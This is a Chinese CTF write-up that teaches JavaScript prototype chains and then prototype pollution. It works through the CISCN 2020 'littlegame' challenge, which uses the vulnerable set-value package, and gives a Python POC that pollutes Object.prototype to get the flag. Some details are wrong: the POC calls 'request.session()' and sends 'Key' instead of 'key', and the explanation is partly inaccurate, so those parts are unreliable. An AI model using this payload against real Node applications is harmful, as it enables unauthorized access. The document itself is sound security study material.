前言:
做题时遇到一个JS原型链污染的题目,由于之前没有学过,就详细的学习和了解一下。
基础知识
0x00:JS创建对象的方法
在了解原型链之前,先了解一下JS创建对象的几种方式
// 第一种方式:字面量
var shy1 = {name: 'shy1'}
var shy2 = new Object({name: 'shy2'})
// 第二种方式:构造函数
var M = function (name) { this.name = name; }
var shy3 = new M('shy3')
// 第三种方式:Object.create
var lemon = {name: 'lemon'}
var shy4 = Object.create(lemon)
console.log(shy1)
console.log(shy2)
console.log(shy3)
console.log(shy4)
0X01:原型及原型链
原型对象、构造函数、实例
一开始直接看概念,有点看不懂的,结合图和代码来看
var M = function (name) { this.name = name; }
var shy = new M('lemon')
- 实例就是对象,比如在该例中
shy
就是实例,M
就是构造函数。 - 实例通过
new
一个构造函数生成的。 - 实例的
__protpo__
指向的是原型对象。 - 实例的构造函数的
prototype
也是指向原型对象。 - 原型对象的
construor
指向的是构造函数。
这些结论中有的会在下面进行验证
什么是原型链?
当谈到继承时,JavaScript 只有一种结构:对象。每个实例对象( object )都有一个私有属性(称之为
__proto__
)指向它的构造函数的原型对象(prototype
)。该原型对象也有一个自己的原型对象(__proto__
) ,层层向上直到一个对象的原型对象为null
。根据定义,null
没有原型,并作为这个原型链中的最后一个环节。
简单理解起来就是:
原型组成的链,对象的__proto__
是原型,而原型也是一个对象,也有__proto__
属性,原型的__proto__
又是原型的原型,就这样可以一直通过__proto__
向上找,这便是原型链,当向上找找到Object
的原型的时候,这条原型链便算结束了。
为什么需要使用原型
在JavaScript中,如果要定义一个类,需要以定义“构造函数”的方式来定义:
function lemon() {
this.bar = 1
}
new lemon()
lemon
函数的内容,就是lemon
类的构造函数,而this.bar就是lemon类的一个属性。
一个类必然有一些方法,类似属性this.bar
,可以将方法定义在构造函数内部:
function lemon() {
this.bar = "hello world"
this.show = function() {
console.log(this.bar)
}
}
(new lemon()).show()
这样写的话有一个问题,就是每当新建一个lemon
对象时,this.show = function...
就会执行一次,这个show
方法实际上是绑定在对象上的,而不是绑定在“类”中。
如果在创建类的时候只创建一次show
方法,这时候就则需要使用原型(prototype
)了。
function lemon() {
this.bar = "hello world"
}
lemon.prototype.show = function show() {
console.log(this.bar)
}
let shy= new lemon()
shy.show()
原型prototype
是类lemon
的一个属性,而所有用lemon
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
需要注意的是可以通过lemon.prototype
来访问lemon
类的原型,但lemon
实例化出来的对象,是不能通过prototype
访问原型的,如上图而是需要通过shy.__proto__
属性来访问lemon
类的原型,也就验证了上面的
shy.__proto__ == M.prototype
#true
总结一下:
-
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法 - 一个对象的
__proto__
属性,指向这个对象所在的类的prototype
属性
0x03:JavaScript原型链继承
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制.
function Father() {
this.first_name = 'letme'
this.last_name = 'shy'
}
function Son() {
this.first_name = 'the'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类继承了Father类的last_name
属性,最后输出的是Name: the shy
。
对于对象son
,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作
- 在对象son中寻找last_name
- 如果找不到,则在
son.__proto__
中寻找last_name - 如果仍然找不到,则继续在
son.__proto__.__proto__
中寻找last_name - 依次寻找,直到找到null结束。比如,Object.prototype的
__proto__
就是null
其他的知识不必再过于深究,记住下面的知识即可
- 每个构造函数(
constructor
)都有一个原型对象(prototype
) - 对象的
__proto__
属性,指向类的原型对象prototype
- JavaScript使用
prototype
链实现继承机制
原型链污染
0x00:什么是原型链污染?
上面所说的
shy.__proto__ == M.prototype
那如果修改了shy.__proto__
中的值,是不是就可以修改M类,下面通过一个例子来看下:
// shy是一个简单的JavaScript对象
let shy= {bar: 1}
// shy.bar 此时为1
console.log(shy.bar)
// 修改shy的原型(即Object)
shy.__proto__.bar = 2
// 由于查找顺序的原因,shy.bar仍然是1
console.log(shy.bar)
// 此时再用Object创建一个空的lemon对象
let lemon= {}
// 查看lemon.bar
console.log(lemon.bar)
最后,虽然lemon是一个空对象{},但lemon.bar的结果是2
因为修改了shy的原型shy.__proto__.bar = 2
,而shy
是一个Object
类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
然后又用Object类创建了一个lemon
对象let lemon = {}
,lemon对象自然也有一个bar属性了。
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
既然知道了什么是原型链污染了,接下来就通过题目进行训练一下:
0x01:littlegame
ciscn2020初赛的一道题目,源码如下:
var express = require('express');
const setFn = require('set-value');
var router = express.Router();
const COMMODITY = {
"sword": {"Gold": "20", "Firepower": "50"},
// Times have changed
"gun": {"Gold": "100", "Firepower": "200"}
}
const MOBS = {
"Lv1": {"Firepower": "1", "Bounty": "1"},
"Lv2": {"Firepower": "5", "Bounty": "10"},
"Lv3": {"Firepower": "10", "Bounty": "15"},
"Lv4": {"Firepower": "20", "Bounty": "30"},
"Lv5": {"Firepower": "50", "Bounty": "65"},
"Lv6": {"Firepower": "80", "Bounty": "100"}
}
const BOSS = {
// Times have not changed
"Firepower": "201"
}
const Admin = {
"password1":process.env.p1,
"password2":process.env.p2,
"password3":process.env.p3
}
router.post('/BuyWeapon', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/EarnBounty', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post('/ChallengeBOSS', function (req, res, next) {
// not implement
res.send("BOOS has said 'Times have not changed'!");
});
router.post("/DeveloperControlPanel", function (req, res, next) {
// not implement
if (req.body.key === undefined || req.body.password === undefined){
res.send("What's your problem?");
}else {
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}else {
res.send("Wrong password!Are you Admin?");
}
}
});
router.get('/SpawnPoint', function (req, res, next) {
req.session.knight = {
"HP": 1000,
"Gold": 10,
"Firepower": 10
}
res.send("Let's begin!");
});
router.post("/Privilege", function (req, res, next) {
// Why not ask witch for help?
if(req.session.knight === undefined){
res.redirect('/SpawnPoint');
}else{
if (req.body.NewAttributeKey === undefined || req.body.NewAttributeValue === undefined) {
res.send("What's your problem?");
}else {
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);
res.send("Let's have a check!");
}
}
});
module.exports = router;
观察代码,在路由DeveloperControlPanel中发现了只要Admin[key] === password
便可以获取到flag,继续向下观察发现在路由Privilege下,如果req.session.knight
没有被定义,就重定向到/SpawnPoint,否则查看req.body.NewAttributeKey
和req.body.NewAttributeValue
是否被定义,未定义就直接"What's your problem?"了,如果都有定义就调用setFn(),将转为字符串后的req.body.NewAttributeKey
和req.body.NewAttributeValue
传入
代码最上面便定义了setFn
const setFn = require('set-value');
引入了set-value,但这个是有什么作用那
set-value is a package that creates nested values and any intermediaries using dot notation ('a.b.c') paths.
set-value是一个使用点表示法('abc')路径创建嵌套值和任何中介的程序包。
看了大师傅的博客,知道了原来是set-value存在原型链污染,可以跟着源码分析一下
#setFn(req.session.knight, key, value);
#这里重点看一下set-value的set函数和result函数
function set(target, path, value, options) {
if (!isObject(target)) {
return target;
}
let opts = options || {};
const isArray = Array.isArray(path);
if (!isArray && typeof path !== 'string') {
return target;
}
let merge = opts.merge;
if (merge && typeof merge !== 'function') {
merge = Object.assign;
}
const keys = isArray ? path : split(path, opts);
const len = keys.length;
const orig = target;
// 注意这个条件语句
if (!options && keys.length === 1) {
//出现了一个result函数,跟进一下
result(target, keys[0], value, merge);
return target;
}
for (let i = 0; i < len; i++) {
let prop = keys[i];
if (!isObject(target[prop])) {
target[prop] = {};
}
if (i === len - 1) {
result(target, prop, value, merge);
break;
}
target = target[prop];
}
return orig;
}
再跟进一下result函数
function result(target, path, value, merge) {
if (merge && isPlain(target[path]) && isPlain(value)) {
target[path] = merge({}, target[path], value);
//使用了merge(),实现了两个对象合并,存在赋值操作,便出现了原型链污染
} else {
target[path] = value;
}
}
最后来梳理一下整个的流程,以免混乱
- let key = req.body.NewAttributeKey.toString();
- let value = req.body.NewAttributeValue.toString();
- setFn(req.session.knight, key, value);
- set(target, path, value, options);
- result(target, prop, value, merge);
- merge({}, target[path], value);
传入的NewAttributeKey和NewAttributeValue最终会进行merge()合并操作,req的原型是Object,Admin的原型也是Object,所以修改req的原型便可以实现原型链污染
POC:
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213
照着提供的POC改一下就行了
import requests
session = request.session()
url = 'xxxx'
json1 = {
"NewAttributeKey" : "constructor.prototype.Sn0w",
"NewAttributeValue" : "Sn0w"
}
json2 = {
"Key" : "Sn0w",
"password" : "Sn0w"
}
session.get(url+'SpawnPoint')
session.post(url+'Privilege', json=json1).text
print(session.post(url+'DeveloperControlPanel', json=json2).text)
参考博客
https://www.cnblogs.com/chengzp/p/prototype.html
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x01-prototype**proto**
https://www.cnblogs.com/Lziyang/p/13559860.html